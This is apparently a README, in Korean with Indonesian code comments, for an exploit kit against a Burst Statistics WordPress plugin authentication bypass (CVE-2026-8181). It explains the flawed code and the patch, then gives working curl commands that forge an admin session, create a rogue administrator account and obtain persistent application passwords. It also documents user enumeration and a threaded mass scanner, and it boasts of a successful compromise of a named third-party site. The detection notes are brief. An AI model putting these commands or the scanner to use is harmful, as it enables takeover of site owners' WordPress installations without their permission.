
CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 비인증 인증 우회를 통한 관리자 계정 탈취 | 개념 증명
| 항목 | 세부 정보 |
|---|---|
| CVE ID | CVE-2026-8181 |
| 플러그인 | Burst Statistics – Privacy-Friendly WordPress Analytics |
| 영향받는 버전 | 3.4.0 – 3.4.1.1 |
| 패치 버전 | 3.4.2 |
| CVSS 점수 | 9.8 (Critical) |
| 유형 | CWE-287: Improper Authentication |
| 공격 벡터 | 네트워크 / 원격 / 비인증 |
| 활성 설치 수 | ~200,000+ |
| 발견자 | PRISM, Wordfence Threat Intelligence |
| 공개 날짜 | 2026년 5월 8일 |
WordPress 플러그인 Burst Statistics 3.4.0~3.4.1.1의 치명적인 인증 우회(Authentication Bypass) 취약점으로 인해 공격자는 인증 없이 admin 사용자 이름만 알면 WordPress 전체 관리자(administrator) 액세스 권한을 얻을 수 있습니다. 그 결과 새 계정 생성, 콘텐츠 수정, 악성 플러그인 설치를 포함한 완전한 관리자 계정 탈취가 가능합니다.
취약점은 includes/Frontend/class-mainwp-proxy.php 파일의 is_mainwp_authenticated() 메서드에 있습니다:
// KODE VULNERABLE (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
$auth_header = sanitize_text_field(
wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
);
if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
$credentials = base64_decode(substr($auth_header, 6), true);
// ... parse username:password ...
$is_valid = wp_authenticate_application_password(null, $username, $password);
if (is_wp_error($is_valid)) { // ← BUG: null BUKAN WP_Error!
return false;
}
$user = get_user_by('login', $username); // ← Auth hanya berdasarkan username!
if (!$user || !user_can($user, 'manage_burst_statistics')) {
return false;
}
wp_set_current_user($user->ID); // ← Grant admin privileges
return true;
}
return false;
}
주요 버그: wp_authenticate_application_password(null, $username, $password)는 Application Passwords를 사용할 수 없을 때 null을 반환합니다(WP_Error가 아님). 이는 다음의 경우에 발생합니다:
wp_is_application_passwords_available()가 false를 반환하는 경우is_ssl()이 false를 반환하는 사이트is_wp_error(null) = false이므로 코드는 get_user_by('login', $username)로 진행되어 사용자 이름만으로 인증하며 비밀번호 검증은 전혀 수행되지 않습니다.
has_admin_access() 메서드는 class-burst.php 118행의 plugins_loaded 훅(우선순위 9)에서 호출됩니다:
if ($this->has_admin_access()) {
$this->admin = new Admin();
$this->admin->init();
}
이 훅은 REST API 라우트 처리 이전에 실행되므로 wp_set_current_user()는 Burst 엔드포인트뿐만 아니라 모든 요청에 대해 admin 권한을 부여합니다.
Attacker ──HTTP Request──▶ WordPress
Headers:
X-BURSTMAINWP: 1
Authorization: Basic base64(admin:anything)
│
▼
[plugins_loaded hook fires]
│
Burst::bootstrap() → has_admin_access()
│
HTTP_X_BURSTMAINWP == '1' → is_mainwp_authenticated()
│
wp_authenticate_application_password(null, 'admin', 'anything')
│
Situs HTTP → wp_is_application_passwords_available() = false
│
Return null (BUKAN WP_Error)
│
is_wp_error(null) = false ← BYPASS!
│
get_user_by('login', 'admin') → found
│
wp_set_current_user(admin_id) → FULL ADMIN
│
has_admin_access() = true
│
[REST API memproses request dengan konteks admin]
│
Attacker mengakses SELURUH endpoint WordPress sebagai administrator
pip3 install requests
# Scan dasar
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k
# Buat akun admin baru
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k
# Dengan username custom
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k
python3 poc_CVE-2026-8181.py
대화형 모드:
.txt, 한 줄에 도메인 하나)targets.txt 형식:
target1.com
target2.com
192.168.1.100
subdomain.example.org
# Step 1: Verifikasi auth bypass
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:anything' | base64)" \
"http://target.com/?rest_route=/wp/v2/users/me&context=edit"
# Step 2: Buat akun administrator baru
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
-H "Content-Type: application/json" \
-X POST \
"http://target.com/?rest_route=/wp/v2/users" \
-d '{"username":"hacker","password":"P@ssw0rd!","email":"[email protected]","roles":["administrator"]}'
# Step 3: Dapatkan Application Password (kredensial persisten)
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
-H "Content-Type: application/json" \
-X POST \
"http://target.com/?rest_route=/burst/v1/mainwp-auth" \
-d '{}'
# Method 1: REST API
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'
# Method 2: Fallback route
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'
# Method 3: Author enumeration
for i in $(seq 1 5); do
curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done
테스트는 Burst Statistics 3.4.1.1이 설치된 WordPress 6.9(localhost)에서 수행되었습니다:
| 대상 | 결과 |
|---|---|
ausdermitte-binz.de | 성공 PWNED — Burst 3.4.1.1, binzwpadmin을 통한 우회, xenon1337 계정 생성(ID:30) |
3.4.2 버전의 수정 사항은 여러 문제를 해결합니다:
// PATCHED
$authenticated_user = wp_authenticate_application_password(null, $parts[0], $parts[1]);
if (!$authenticated_user instanceof \WP_User) { // ← Cek WP_User, bukan !WP_Error
return false;
}
$allow = static function(): bool { return true; };
add_filter('application_password_is_api_request', $allow, 999);
// ... authenticate ...
remove_filter('application_password_is_api_request', $allow, 999);
add_option()을 통한 일회용 강제 적용으로 Nonce 재사용 방지wp_application_passwords 사용자 메타)X-BURSTMAINWP: 1 헤더가 포함된 요청 검색wp_users 테이블에서 새 administrator 계정 모니터링wp_options에서 burst_mainwp_app_token_* 트랜지언트 확인| 파일 | 설명 |
|---|---|
exploit_CVE-2026-8181.py | 단일 대상 PoC 익스플로잇 |
poc_CVE-2026-8181.py | 스레딩 기반 다중 대상 대량 스캐너 |
README.md | 이 문서 |
이 도구와 문서는 명시적 허가를 받은 합법적인 보안 테스트만을 위한 것입니다. 본인 소유가 아니거나 서면 허가 없이 시스템을 무단 사용하는 것은 불법입니다. 작성자는 오용에 대해 책임을 지지 않습니다.
| 테스트 | 결과 | 증거 |
|---|
인증 없이 /wp/v2/users/me 접근 | 실패 | rest_not_logged_in |
| 우회 헤더로 접근 | 성공 | admin 프로필 + 이메일 + 역할 |
| 새 administrator 계정 생성 | 성공 | 사용자 ID 2, 역할: administrator |
| WordPress 설정 읽기 | 성공 | 사이트 제목, admin 이메일, URL |
| Application Password 획득 | 성공 | Base64 토큰 admin:password |
| 설치된 플러그인 목록 | 성공 | 버전 포함 전체 목록 |